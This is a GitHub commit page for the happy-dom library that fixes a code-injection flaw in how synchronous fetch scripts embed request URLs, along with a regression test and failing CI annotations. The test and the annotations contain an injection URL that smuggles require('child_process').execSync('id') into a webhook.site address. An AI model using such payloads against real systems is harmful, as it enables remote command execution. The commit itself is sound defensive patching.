Skip to content

Commit

Permalink
fix: [#1585] Fixes security vulnerability that allowed for server sid…
Browse files Browse the repository at this point in the history
…e code to be executed by a <script> tag
  • Loading branch information
capricorn86 committed Nov 6, 2024
1 parent a20dba9 commit e080ece
Show file tree
Hide file tree
Showing 2 changed files with 69 additions and 1 deletion.
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@ export default class SyncFetchScriptBuilder {
}): string {
const sortedHeaders = {};
const headerNames = Object.keys(request.headers).sort();

for (const name of headerNames) {
sortedHeaders[name] = request.headers[name];
}
Expand All @@ -43,7 +44,7 @@ export default class SyncFetchScriptBuilder {
null,
4
)};
const request = sendRequest('${request.url.href}', options, (incomingMessage) => {
const request = sendRequest(\`${request.url.href}\`, options, (incomingMessage) => {
let data = Buffer.alloc(0);
incomingMessage.on('data', (chunk) => {
data = Buffer.concat([data, Buffer.from(chunk)]);
Expand Down
67 changes: 67 additions & 0 deletions packages/happy-dom/test/fetch/SyncFetch.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -249,6 +249,73 @@ describe('SyncFetch', () => {
expect(response.body.toString()).toBe(responseText);
});

it('Should not allow to inject code into scripts executed using child_process.execFileSync().', () => {
browserFrame.url = 'https://localhost:8080/';

const url =
"https://webhook.site/`+require('child_process').execSync('id')+`/'+require('child_process').execSync('id')+'";
const responseText = 'test';

mockModule('child_process', {
execFileSync: (
command: string,
args: string[],
options: { encoding: string; maxBuffer: number }
) => {
expect(command).toEqual(process.argv[0]);
expect(args[0]).toBe('-e');
expect(args[1]).toBe(

Check failure on line 267 in packages/happy-dom/test/fetch/SyncFetch.test.ts

View workflow job for this annotation

GitHub Actions / build (20)

test/fetch/SyncFetch.test.ts > SyncFetch > send() > Should not allow to inject code into scripts executed using child_process.execFileSync().

AssertionError: expected '\n const sendRequest =…' to be '\n const sendRequest =…' // Object.is equality - Expected + Received const sendRequest = require('https').request; const options = { - "method": "GET", + "method": "OPTIONS", "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", - "Connection": "close", + "Access-Control-Request-Method": "GET", + "Connection": "close", + "Origin": "https://localhost:8080", "Referer": "https://localhost:8080/", - "User-Agent": "Mozilla/5.0 (X11; Linux x64) AppleWebKit/537.36 (KHTML, like Gecko) HappyDOM/0.0.0", - "test": "\" +require() + \"" + "User-Agent": "Mozilla/5.0 (X11; Linux x64) AppleWebKit/537.36 (KHTML, like Gecko) HappyDOM/0.0.0" }, "agent": false, "rejectUnauthorized": true, "key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCp6tBJASD9LFXF\nGLCUi2K2Gvl7kQxmjWeyq3/E7FqBualbcgSa3SNulsfuIQXgMMSjsoA7BQI7BVZ4\nXFGhqDyUbZrHjzCuCOUKdrjlcOfRd6DUBFqMvTiCzjodnRWvMiWhUZ+WfTOC39W6\nbkE2qz05zl9CgGag/dwCfd2fhlVw/QAq2G1zI+WrYO41E3Q9XQPZG0xKIDL2XUqj\no3nH6wB4KUPI4v6xMMueBkFV5nI4q30h3XlLxm1e0DpUyAeecXeMKGfulqDvuux3\n/LmIA0BU1lipGX4SDvFoNyy9uAfjpQE6sFwHf1C1OHky2OjF6nl7dkMUb6RDUdQT\n6LPk7mfTAgMBAAECggEAKkwTkTjAt4UjzK56tl+EMQTB+ep/hb/JgoaChci4Nva6\nm9LkJpDJ0yuhlTuPNOGu8XjrxsVWas7HWarRf0Zb3i7yip6wZYI9Ub+AA015x4DZ\n/i0fRU2NFbK0cM67qSL4jxG8gj+kZP3HPGNZxHwX/53JxMolwgmvjMc8NgvAlSFd\nNnV9h4xtbhUh1NGS5zmP3iU2rwnE8JrIEzwy6axLom7nekAgkdcbAr0UoBs8gcgH\naYNhU4Gz3tGcZZ0IXAfT/bJIH1Ko8AGv4pssWc3BXcmmNdm/+kzvHIxEIV7Qegmo\nXG1ZyZCyD/0b4/3e8ySDBEDqwR+HeyTW2isWG2agAQKBgQDp44aTwr3dkIXY30xv\nFPfUOipg/B49dWnffYJ9MWc1FT9ijNPAngWSk0EIiEQIazICcUBI4Yji6/KeyqLJ\nGdLpDi1CkKqtyh73mjELinYp3EUQgEa77aQogGa2+nMOVfu+O5CtloUrv/A18jX3\n+VEyaEASK0fWmnSI0OdlxQHIAQKBgQC5+xOls2F3MlKASvWRLlnW1wHqlDTtVoYg\n5Nh8syZH4Ci2UH8tON3A5/7SWNM0t1cgV6Cw4zW8Z2spgIT/W0iYYrQ4hHL1xdCu\n+CxL1km4Gy8Uwpsd+KdFahFqF/XTmLzW0HXLxWSK0fTwmdV0SFrKF3MXfTCU2AeZ\njJoMFb6P0wKBgQC3Odw6s0vkYAzLGhuZxfZkVvDOK5RRF0NKpttr0iEFL9EJFkPo\n2KKK8jr3QTDy229BBJGUxsJi6u6VwS8HlehpVQbV59kd7oKV/EBBx0XMg1fDlopT\nPNbmN7i/zbIG4AsoOyebJZjL7kBzMn1e9vzKHWtcEHXlw/hZGja8vjooAQKBgAeg\nxK2HLfg1mCyq5meN/yFQsENu0LzrT5UJzddPgcJw7zqLEqxIKNBAs7Ls8by3yFsL\nPQwERa/0jfCl1M6kb9XQNpQa2pw6ANUsWKTDpUJn2wZ+9N3F1RaDwzMWyH5lRVmK\nM0qoTfdjpSg5Jwgd75taWt4bxGJWeflSSv8z5R0BAoGAWL8c527AbeBvx2tOYKkD\n2TFranvANNcoMrbeviZSkkGvMNDP3p8b6juJwXOIeWNr8q4vFgCzLmq6d1/9gYm2\n3XJwwyD0LKlqzkBrrKU47qrnmMosUrIRlrAzd3HbShOptxc6Iz2apSaUDKGKXkaw\ngl5OpEjeliU7Mus0BVS858g=\n-----END PRIVATE KEY-----", "cert": "-----BEGIN CERTIFICATE-----\nMIIDYzCCAkugAwIBAgIUJRKB/H66hpet1VfUlm0CiXqePA4wDQYJKoZIhvcNAQEL\nBQAwQTELMAkGA1UEBhMCU0UxDjAMBgNVBAgMBVNrYW5lMQ4wDAYDVQQHDAVNYWxt\nbzESMBAGA1UECgwJSGFwcHkgRE9NMB4XDTIyMTAxMTIyMDM0OVoXDTMyMTAwODIy\nMDM0OVowQTELMAkGA1UEBhMCU0UxDjAMBgNVBAgMBVNrYW5lMQ4wDAYDVQQHDAVN\nYWxtbzESMBAGA1UECgwJSGFwcHkgRE9NMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\nMIIBCgKCAQEAqerQSQEg/SxVxRiwlItithr5e5EMZo1nsqt/xOxagbmpW3IEmt0j\nbpbH7iEF4DDEo7KAOwUCOwVWeFxRoag8lG2ax48wrgjlCna45XDn0Xeg1ARajL04\ngs46HZ0VrzIloVGfln0zgt/Vum5BNqs9Oc5fQoBmoP3cAn3dn4ZVcP0AKthtcyPl\nq2DuNRN0PV0D2RtMSiAy9l1Ko6N5x+sAeClDyOL+sTDLngZBVeZyOKt9Id15S8Zt\nXtA6VMgHnnF3jChn7pag77rsd/y5iANAVNZYqRl+Eg7xaDcsvbgH46UBOrBcB39Q\ntTh5Mtjoxep5e3ZDFG+kQ1HUE+iz5O5n0wIDAQABo1MwUTAdBgNVHQ4EFgQU69s9\nYSobG/m2SN4L/7zTaF7iDbwwHwYDVR0jBBgwFoAU69s9YSobG/m2SN4L/7zTaF7i\nDbwwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAi/WUXx2oal8L\nYnPlIuKfh49n/K18wXSYG//oFYwxfVxqpYH8hUiXVm/GUcXCxS++hUkaKLqXmH9q\nMKJiCrZr3vS+2nsBKopkICu/TLdROl0sAI9lByfnEbfSAzjxe1IWJdK8NdY0y5m5\n9pEr/URVIAp/CxrneyASb4q0Jg5To3FR7vYc+2X6wZn0MundKMg6Dp9/A37jiF3l\nTt/EJp299YZcsUzh+LnRuggRjnoOVu1aLcLFlaUiwZfy9m8mLG6B/mdW/qNzNMh9\nOqvg1zfGdpz/4D/2UUUBn6pq1vbsoAaF3OesoA3mfDcegDf/H9woJlpT0Wql+e68\nY3FblSokcA==\n-----END CERTIFICATE-----" }; const request = sendRequest(`https://webhook.site/%60+require('child_process').execSync('id')+%60/'+require('child

Check failure on line 267 in packages/happy-dom/test/fetch/SyncFetch.test.ts

View workflow job for this annotation

GitHub Actions / build (22)

test/fetch/SyncFetch.test.ts > SyncFetch > send() > Should not allow to inject code into scripts executed using child_process.execFileSync().

AssertionError: expected '\n const sendRequest =…' to be '\n const sendRequest =…' // Object.is equality - Expected + Received const sendRequest = require('https').request; const options = { - "method": "GET", + "method": "OPTIONS", "headers": { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", - "Connection": "close", + "Access-Control-Request-Method": "GET", + "Connection": "close", + "Origin": "https://localhost:8080", "Referer": "https://localhost:8080/", - "User-Agent": "Mozilla/5.0 (X11; Linux x64) AppleWebKit/537.36 (KHTML, like Gecko) HappyDOM/0.0.0", - "test": "\" +require() + \"" + "User-Agent": "Mozilla/5.0 (X11; Linux x64) AppleWebKit/537.36 (KHTML, like Gecko) HappyDOM/0.0.0" }, "agent": false, "rejectUnauthorized": true, "key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCp6tBJASD9LFXF\nGLCUi2K2Gvl7kQxmjWeyq3/E7FqBualbcgSa3SNulsfuIQXgMMSjsoA7BQI7BVZ4\nXFGhqDyUbZrHjzCuCOUKdrjlcOfRd6DUBFqMvTiCzjodnRWvMiWhUZ+WfTOC39W6\nbkE2qz05zl9CgGag/dwCfd2fhlVw/QAq2G1zI+WrYO41E3Q9XQPZG0xKIDL2XUqj\no3nH6wB4KUPI4v6xMMueBkFV5nI4q30h3XlLxm1e0DpUyAeecXeMKGfulqDvuux3\n/LmIA0BU1lipGX4SDvFoNyy9uAfjpQE6sFwHf1C1OHky2OjF6nl7dkMUb6RDUdQT\n6LPk7mfTAgMBAAECggEAKkwTkTjAt4UjzK56tl+EMQTB+ep/hb/JgoaChci4Nva6\nm9LkJpDJ0yuhlTuPNOGu8XjrxsVWas7HWarRf0Zb3i7yip6wZYI9Ub+AA015x4DZ\n/i0fRU2NFbK0cM67qSL4jxG8gj+kZP3HPGNZxHwX/53JxMolwgmvjMc8NgvAlSFd\nNnV9h4xtbhUh1NGS5zmP3iU2rwnE8JrIEzwy6axLom7nekAgkdcbAr0UoBs8gcgH\naYNhU4Gz3tGcZZ0IXAfT/bJIH1Ko8AGv4pssWc3BXcmmNdm/+kzvHIxEIV7Qegmo\nXG1ZyZCyD/0b4/3e8ySDBEDqwR+HeyTW2isWG2agAQKBgQDp44aTwr3dkIXY30xv\nFPfUOipg/B49dWnffYJ9MWc1FT9ijNPAngWSk0EIiEQIazICcUBI4Yji6/KeyqLJ\nGdLpDi1CkKqtyh73mjELinYp3EUQgEa77aQogGa2+nMOVfu+O5CtloUrv/A18jX3\n+VEyaEASK0fWmnSI0OdlxQHIAQKBgQC5+xOls2F3MlKASvWRLlnW1wHqlDTtVoYg\n5Nh8syZH4Ci2UH8tON3A5/7SWNM0t1cgV6Cw4zW8Z2spgIT/W0iYYrQ4hHL1xdCu\n+CxL1km4Gy8Uwpsd+KdFahFqF/XTmLzW0HXLxWSK0fTwmdV0SFrKF3MXfTCU2AeZ\njJoMFb6P0wKBgQC3Odw6s0vkYAzLGhuZxfZkVvDOK5RRF0NKpttr0iEFL9EJFkPo\n2KKK8jr3QTDy229BBJGUxsJi6u6VwS8HlehpVQbV59kd7oKV/EBBx0XMg1fDlopT\nPNbmN7i/zbIG4AsoOyebJZjL7kBzMn1e9vzKHWtcEHXlw/hZGja8vjooAQKBgAeg\nxK2HLfg1mCyq5meN/yFQsENu0LzrT5UJzddPgcJw7zqLEqxIKNBAs7Ls8by3yFsL\nPQwERa/0jfCl1M6kb9XQNpQa2pw6ANUsWKTDpUJn2wZ+9N3F1RaDwzMWyH5lRVmK\nM0qoTfdjpSg5Jwgd75taWt4bxGJWeflSSv8z5R0BAoGAWL8c527AbeBvx2tOYKkD\n2TFranvANNcoMrbeviZSkkGvMNDP3p8b6juJwXOIeWNr8q4vFgCzLmq6d1/9gYm2\n3XJwwyD0LKlqzkBrrKU47qrnmMosUrIRlrAzd3HbShOptxc6Iz2apSaUDKGKXkaw\ngl5OpEjeliU7Mus0BVS858g=\n-----END PRIVATE KEY-----", "cert": "-----BEGIN CERTIFICATE-----\nMIIDYzCCAkugAwIBAgIUJRKB/H66hpet1VfUlm0CiXqePA4wDQYJKoZIhvcNAQEL\nBQAwQTELMAkGA1UEBhMCU0UxDjAMBgNVBAgMBVNrYW5lMQ4wDAYDVQQHDAVNYWxt\nbzESMBAGA1UECgwJSGFwcHkgRE9NMB4XDTIyMTAxMTIyMDM0OVoXDTMyMTAwODIy\nMDM0OVowQTELMAkGA1UEBhMCU0UxDjAMBgNVBAgMBVNrYW5lMQ4wDAYDVQQHDAVN\nYWxtbzESMBAGA1UECgwJSGFwcHkgRE9NMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\nMIIBCgKCAQEAqerQSQEg/SxVxRiwlItithr5e5EMZo1nsqt/xOxagbmpW3IEmt0j\nbpbH7iEF4DDEo7KAOwUCOwVWeFxRoag8lG2ax48wrgjlCna45XDn0Xeg1ARajL04\ngs46HZ0VrzIloVGfln0zgt/Vum5BNqs9Oc5fQoBmoP3cAn3dn4ZVcP0AKthtcyPl\nq2DuNRN0PV0D2RtMSiAy9l1Ko6N5x+sAeClDyOL+sTDLngZBVeZyOKt9Id15S8Zt\nXtA6VMgHnnF3jChn7pag77rsd/y5iANAVNZYqRl+Eg7xaDcsvbgH46UBOrBcB39Q\ntTh5Mtjoxep5e3ZDFG+kQ1HUE+iz5O5n0wIDAQABo1MwUTAdBgNVHQ4EFgQU69s9\nYSobG/m2SN4L/7zTaF7iDbwwHwYDVR0jBBgwFoAU69s9YSobG/m2SN4L/7zTaF7i\nDbwwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAi/WUXx2oal8L\nYnPlIuKfh49n/K18wXSYG//oFYwxfVxqpYH8hUiXVm/GUcXCxS++hUkaKLqXmH9q\nMKJiCrZr3vS+2nsBKopkICu/TLdROl0sAI9lByfnEbfSAzjxe1IWJdK8NdY0y5m5\n9pEr/URVIAp/CxrneyASb4q0Jg5To3FR7vYc+2X6wZn0MundKMg6Dp9/A37jiF3l\nTt/EJp299YZcsUzh+LnRuggRjnoOVu1aLcLFlaUiwZfy9m8mLG6B/mdW/qNzNMh9\nOqvg1zfGdpz/4D/2UUUBn6pq1vbsoAaF3OesoA3mfDcegDf/H9woJlpT0Wql+e68\nY3FblSokcA==\n-----END CERTIFICATE-----" }; const request = sendRequest(`https://webhook.site/%60+require('child_process').execSync('id')+%60/'+require('child
SyncFetchScriptBuilder.getScript({
url: new URL(
"https://webhook.site/%60+require('child_process').execSync('id')+%60/'+require('child_process').execSync('id')+'"
),
method: 'GET',
headers: {
Accept: '*/*',
Connection: 'close',
Referer: 'https://localhost:8080/',
'User-Agent': window.navigator.userAgent,
'Accept-Encoding': 'gzip, deflate, br',
test: '" +require() + "'
},
body: null
})
);
// new URL() will convert ` into %60
// By using ` for the URL string within the script, we can prevent the script from being injected
expect(
args[1].includes(
`\`https://webhook.site/%60+require('child_process').execSync('id')+%60/'+require('child_process').execSync('id')+'\``
)
).toBe(true);
expect(options).toEqual({
encoding: 'buffer',
maxBuffer: 1024 * 1024 * 1024
});
return JSON.stringify({
error: null,
incomingMessage: {
statusCode: 200,
statusMessage: 'OK',
rawHeaders: [],
data: Buffer.from(responseText).toString('base64')
}
});
}
});

const response = new SyncFetch({
browserFrame,
window,
url,
init: {
method: 'GET'
}
}).send();

expect(response.body.toString()).toBe(responseText);
});

it('Should send custom key/value object request headers.', () => {
browserFrame.url = 'https://localhost:8080/';

Expand Down

0 comments on commit e080ece

Please sign in to comment.